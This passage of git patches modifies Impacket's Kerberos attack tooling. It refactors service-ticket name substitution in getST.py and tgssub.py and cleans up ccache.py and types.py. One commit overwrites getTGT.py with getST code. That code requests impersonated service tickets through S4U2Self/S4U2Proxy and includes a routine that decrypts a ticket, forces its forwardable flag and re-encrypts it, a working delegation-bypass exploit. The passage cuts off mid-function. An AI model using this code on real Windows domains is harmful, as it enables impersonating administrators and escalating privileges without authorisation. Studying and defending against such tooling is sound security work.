decodedTGS['ticket']['sname']['name-string'][0] = self.__alt_service.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = self.__alt_service.split('/')[1] ticket = encoder.encode(decodedTGS) - ccache.fromTGS(ticket, sessionKey, sessionKey, self.__alt_service) + ccache.fromTGS(ticket, sessionKey, sessionKey) + cred_number = len(ccache.credentials) + logging.debug('Number of credentials in cache: %d' % cred_number) + if cred_number > 1: + logging.debug("More than one credentials in cache, modifying all of them") + for creds in ccache.credentials: + sname = creds['server'].prettyPrint() + if b'/' not in sname: + logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") + logging.debug("Original service is: %s" % sname.decode('utf-8')) + if '/' not in self.__alt_service: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class = "" + hostname = sname.split(b'@')[0].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + else: + service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') + hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') + service_realm = sname.split(b'@')[1].decode('utf-8') + if '@' in self.__alt_service: + new_service_realm = self.__alt_service.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('@')[0].split('/')[1] + new_service_class = self.__alt_service.split('@')[0].split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__alt_service: + new_hostname = self.__alt_service.split('/')[1] + new_service_class = self.__alt_service.split('/')[0] + else: + logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) + new_hostname = hostname + new_service_class = self.__alt_service + new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) + logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) + creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): From 8953d05192565d9949f463e421fd2da78dd82e39 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 20 Feb 2022 20:27:01 +0100 Subject: [PATCH 062/152] Improved the service substitution to avoid discrepancies in the ticket/cccache credentials Co-authored-by: wqreytuk --- examples/getST.py | 94 +++++++++++++++++++++++++---------------------- 1 file changed, 51 insertions(+), 43 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 2ba59dc78d..39d8f21731 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -53,10 +53,10 @@ from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants +from impacket.krb5 import constants, types, crypto, ccache from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache, Credential from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS @@ -85,50 +85,58 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) if self.__options.altservice is not None: - cred_number = len(ccache.credentials) - logging.debug('Number of credentials in cache: %d' % cred_number) - if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if b'/' not in sname: - logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") - logging.debug("Original service is: %s" % sname.decode('utf-8')) - if '/' not in self.__options.altservice: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class = "" - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0] + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('@')[0].split('/')[1] + new_service_class = self.__options.altservice.split('@')[0].split('/')[0] else: - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in self.__options.altservice: - new_service_realm = self.__options.altservice.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in self.__options.altservice: - new_hostname = self.__options.altservice.split('@')[0].split('/')[1] - new_service_class = self.__options.altservice.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__options.altservice.split('@')[0] + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in self.__options.altservice: + new_service_hostname = self.__options.altservice.split('/')[1] + new_service_class = self.__options.altservice.split('/')[0] else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in self.__options.altservice: - new_hostname = self.__options.altservice.split('/')[1] - new_service_class = self.__options.altservice.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__options.altservice - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = self.__options.altservice + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + ticket = encoder.encode(decodedST) + ccache.fromTGS(ticket, sessionKey, sessionKey) + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + for creds in ccache.credentials: + creds['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + else: + ccache.fromTGS(ticket, sessionKey, sessionKey) logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') From 5759792cbf4f94720557f32018ca320e3a825235 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 20 Feb 2022 20:45:48 +0100 Subject: [PATCH 063/152] Adding message informating users -spn is ignored when doing -self Co-authored-by: wqreytuk --- examples/getST.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/examples/getST.py b/examples/getST.py index 39d8f21731..f48d7fc728 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -452,6 +452,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) + if self.__options.spn is not None: + logging.info("When doing S4U2self only, argument -spn is ignored") serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) From f71c3bbaeb4f8f9adda0efdc59450c8529d1f805 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 20 Feb 2022 21:28:49 +0100 Subject: [PATCH 064/152] Improved the service substitution to avoid discrepancies in the ticket/cccache credentials Co-authored-by: wqreytuk --- examples/tgssub.py | 97 ++++++++++++++++++++++++++++------------------ 1 file changed, 59 insertions(+), 38 deletions(-) diff --git a/examples/tgssub.py b/examples/tgssub.py index 5040aba4b2..444e863dae 100755 --- a/examples/tgssub.py +++ b/examples/tgssub.py @@ -25,53 +25,74 @@ from impacket import version from impacket.examples import logger -from impacket.krb5 import constants +from impacket.krb5 import constants, types +from impacket.krb5.asn1 import TGS_REP, Ticket from impacket.krb5.types import Principal -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache, CountedOctetString +from pyasn1.codec.der import decoder, encoder def substitute_sname(args): ccache = CCache.loadFile(args.inticket) cred_number = len(ccache.credentials) logging.info('Number of credentials in cache: %d' % cred_number) if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if b'/' not in sname: - logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") - if '/' not in args.altservice: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class = "" - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') + raise ValueError("More than one credentials in cache, this is not handled at the moment") + credential = ccache.credentials[0] + tgs = credential.toTGS() + decodedST = decoder.decode(tgs['KDC_REP'], asn1Spec=TGS_REP())[0] + tgs = ccache.credentials[0].toTGS() + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in args.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in args.altservice: + new_service_realm = args.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is not FQDN, you may encounter errors") + if '/' in args.altservice: + new_service_hostname = args.altservice.split('@')[0].split('/')[1] + new_service_class = args.altservice.split('@')[0].split('/')[0] else: - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in args.altservice: - new_service_realm = args.altservice.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in args.altservice: - new_hostname = args.altservice.split('@')[0].split('/')[1] - new_service_class = args.altservice.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = args.altservice.split('@')[0] + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = args.altservice.split('@')[0] + else: + logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) + new_service_realm = service_realm + if '/' in args.altservice: + new_service_hostname = args.altservice.split('/')[1] + new_service_class = args.altservice.split('/')[0] else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in args.altservice: - new_hostname = args.altservice.split('/')[1] - new_service_class = args.altservice.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = args.altservice - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) + logging.debug("No service hostname in new SPN, using the current one (%s)" % service_hostname) + new_service_hostname = service_hostname + new_service_class = args.altservice + current_service = "%s/%s@%s" % (service_class, service_hostname, service_realm) + new_service = "%s/%s@%s" % (new_service_class, new_service_hostname, new_service_realm) + logging.info('Changing service from %s to %s' % (current_service, new_service)) + # the values are changed in the ticket + decodedST['ticket']['sname']['name-string'][0] = new_service_class + decodedST['ticket']['sname']['name-string'][1] = new_service_hostname + decodedST['ticket']['realm'] = new_service_realm + + ticket = encoder.encode(decodedST) + credential.ticket = CountedOctetString() + credential.ticket['data'] = encoder.encode(decodedST['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) + credential.ticket['length'] = len(credential.ticket['data']) + ccache.credentials[0] = credential + + # the values need to be changed in the ccache credentials + # we already checked everything above, we can simply do the second replacement here + ccache.credentials[0]['server'].fromPrincipal(Principal(new_service, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) logging.info('Saving ticket in %s' % args.outticket) ccache.saveFile(args.outticket) From 252ce71515b5a23f0c235d3ded1d2c679f706850 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 10:57:44 +0800 Subject: [PATCH 065/152] Update ccache.py --- impacket/krb5/ccache.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 4b7d7e98a0..011717210a 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -141,7 +141,7 @@ def prettyPrint(self): else: component = component['data'] principal += component + b'/' - + principal = principal[:-1] if isinstance(self.realm['data'], bytes): realm = self.realm['data'] @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -374,7 +374,7 @@ def getCredential(self, server, anySPN=True): # Let's take the port out for comparison cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1]) searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0], - server.upper().split('/')[1].split('@')[1]) + server.upper().split('/')[1].split('@')[1]) if cachedSPN == b(searchSPN): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): + def fromTGS(self, tgs, oldSessionKey, sessionKey): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) + server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,10 +511,6 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential['num_address'] = 0 credential.ticket = CountedOctetString() - if alt_service != None: - decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() @@ -539,7 +535,7 @@ def prettyPrint(self): print("Credentials: ") for i, credential in enumerate(self.credentials): print(("[%d]" % i)) - credential.prettyPrint('\t') + credential.prettyPrint('\t') @classmethod def loadKirbiFile(cls, fileName): From 9bf913a8ebf254f178eac0ebd21c80f074a7e550 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 10:58:55 +0800 Subject: [PATCH 066/152] Update types.py --- impacket/krb5/types.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index 2f44b3c046..d6a6cbc307 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,15 +137,13 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component, alt_service=None): + def from_asn1(self, data, realm_component, name_component): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] self.realm = str(data.getComponentByName(realm_component)) - if name_component == "sname" and alt_service!=None: - self.components = alt_service.split('/') return self def components_to_asn1(self, name): @@ -245,7 +243,7 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) From ff318171efdfc2b855062745eff1546226a2bac5 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 10:59:58 +0800 Subject: [PATCH 067/152] Update getTGT.py --- examples/getTGT.py | 687 +++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 659 insertions(+), 28 deletions(-) diff --git a/examples/getTGT.py b/examples/getTGT.py index d20df28c77..fa536ff1f0 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -8,10 +8,28 @@ # for more information. # # Description: -# Given a password, hash or aesKey, it will request a TGT and save it as ccache +# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache +# If the account has constrained delegation (with protocol transition) privileges you will be able to use +# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to +# request the ticket.) +# +# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) # # Examples: -# ./getTGT.py -hashes lm:nt contoso.com/user +# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user +# or +# If you have tickets cached (run klist to verify) the script will use them +# ./getST.py -k -spn cifs/contoso-dc contoso.com/user +# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets +# by default. +# +# Also, if the account is configured with constrained delegation (with protocol transition) you can request +# service tickets for other users, assuming the target SPN is allowed for delegation: +# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user +# +# The output of this script will be a service ticket for the Administrator user. +# +# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. # # Author: # Alberto Solino (@agsolino) @@ -20,71 +38,682 @@ from __future__ import division from __future__ import print_function import argparse +import datetime import logging +import os +import random +import struct import sys -from binascii import unhexlify +from binascii import hexlify, unhexlify +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants -from impacket.krb5.types import Principal +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.constants import TicketFlags, encodeFlags +from impacket.krb5.kerberosv5 import getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.ntlm import compute_nthash +from impacket.winregistry import hexdump -class GETTGT: +class GETST: def __init__(self, target, password, domain, options): self.__password = password - self.__user= target + self.__user = target self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__force_forwardable = options.force_forwardable + self.__additional_ticket = options.additional_ticket + self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__user + '.ccache')) - from impacket.krb5.ccache import CCache + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGT(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__user + '.ccache') + ccache.fromTGS(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__saveFileName + '.ccache') + + def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): + if not os.path.isfile(additional_ticket_path): + logging.error("Ticket %s doesn't exist" % additional_ticket_path) + exit(0) + else: + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) + ccache = CCache.loadFile(additional_ticket_path) + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + + tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug('TGS_REP') + print(tgs.prettyPrint()) + + if self.__force_forwardable: + # Convert hashes to binary form, just in case we're receiving strings + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + # Compute NTHash and AESKey if they're not provided in arguments + if self.__password != '' and self.__domain != '' and self.__user != '': + if not nthash: + nthash = compute_nthash(self.__password) + if logging.getLogger().level == logging.DEBUG: + logging.debug('NTHash') + print(hexlify(nthash).decode()) + if not aesKey: + salt = self.__domain.upper() + self.__user + aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents + if logging.getLogger().level == logging.DEBUG: + logging.debug('AESKey') + print(hexlify(aesKey).decode()) + + # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys + cipherText = tgs['ticket']['enc-part']['cipher'] + + # Check which cipher was used to encrypt the ticket. It's not always the same + # This determines which of our keys we should use for decryption/re-encryption + newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] + if newCipher.enctype == Enctype.RC4: + key = Key(newCipher.enctype, nthash) + else: + key = Key(newCipher.enctype, aesKey) + + # Decrypt and decode the ticket + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + plainText = newCipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Print the flags in the ticket before modification + logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket from S4U2self is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Customize flags the forwardable flag is the only one that really matters + logging.info('\tForcing the service ticket to be forwardable') + # convert to string of bits + flagBits = encTicketPart['flags'].asBinary() + # Set the forwardable flag. Awkward binary string insertion + flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] + # Overwrite the value with the new bits + encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags + + logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket now is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Re-encode and re-encrypt the ticket + # Again, Key Usage 2 + encodedEncTicketPart = encoder.encode(encTicketPart) + cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) + + # put it back in the TGS + tgs['ticket']['enc-part']['cipher'] = cipherText + + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) + + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) + + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, cipher, sessionKey, newSessionKey + + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = 